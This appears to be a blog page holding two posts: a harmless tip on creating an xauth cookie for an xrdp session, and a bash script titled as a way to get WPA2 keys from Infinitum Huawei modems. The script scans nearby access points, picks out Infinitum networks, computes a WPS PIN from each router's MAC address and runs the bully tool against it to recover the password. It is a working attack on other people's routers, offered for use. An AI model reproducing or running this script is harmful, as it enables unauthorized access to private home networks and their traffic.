xauth and xrdp, no cookie

When logged in to a Xrdp session, you might not get an xauth cookie generated for your own xrdp sessioin, which may cause you problems to use the display if you ssh to another host…

for that, check your current display, in this case it is :14.0

# echo $DISPLAY
:14.0

Use xauth list to check if there is an existing cookie for unix:14, if there is not…. create one… with a random id… in this case… i improvised one: “2ab6a473b33253105e70c53350c80b3a”

# xauth add GTWTPLJSINFV01/unix:14 MIT-MAGIC-COOKIE-1 2ab6a473b33253105e70c53350c80b3a

After this, ssh -C -X -Y otherhost will work

Get wpa2 psk from infinitum huawei modems.

#!/bin/bash

i=wlan0

scanw () {
i=$1
(
a=0;e=0;q=0
iwlist $i scan | egrep -i ‘address|essid|freq|qual|encr’ | while read l;do
if [ `echo $l |grep -ic ESSID` -gt 0 ];then
AP=`echo “$l “|awk ‘{s=substr($0,index($0,”ESSID”)+7);print substr(s,1,index(s,”\””)-1)}’`
a=1
fi
if [ `echo $l |grep -ic Encryption` -gt 0 ];then
EN=`echo “$l “|awk ‘{s=substr($0,index($0,”Encryption key”)+15);print substr(s,1,index(s,” “)-1)}’`
e=1
fi
if [ `echo $l |grep -ic Quality` -gt 0 ];then
QU=`echo “$l “|awk ‘{s=substr($0,index($0,”Quality”)+8);print substr(s,1,index(s,” “)-1)}’`
q=1
fi
if [ `echo $l |grep -ic Address` -gt 0 ];then
AD=`echo $l | awk ‘{ print $NF }’`
ad=1
fi
if [ $a -gt 0 ] && [ $e -gt 0 ] && [ $q -gt 0 ] && [ $ad -gt 0 ];then
echo “$QU;$EN;$AP;$i;$AD”
a=0;e=0;q=0
fi
done
)
}

scanw $i > /dev/null 2>&1
scanw $i >> /tmp/scan.$$

cat /tmp/scan.$$
sleep 1

grep -i infinitum /tmp/scan.$$ | while read l;do
echo “[i] Applying BULLY in $l ——————————”
P=`echo $l | awk -F\; ‘{ print $NF }’| sed ‘s/://g’| tail -c7| tr ‘[:upper:]’ ‘[:lower:]’`
M=`echo $l | awk -F\; ‘{ print $NF }’`
set -x
#reaver -i mon0 -b $M -p `printf “%07d” $((0x$P%10000000))` -vv
./bully –force -b $M -p `printf “%07d” $((0x${P}%10000000))` -A -v3 mon0
./bully -B –force -b $M -p 12345670 -A -v3 mon0
set +x
done
rm /tmp/scan.$$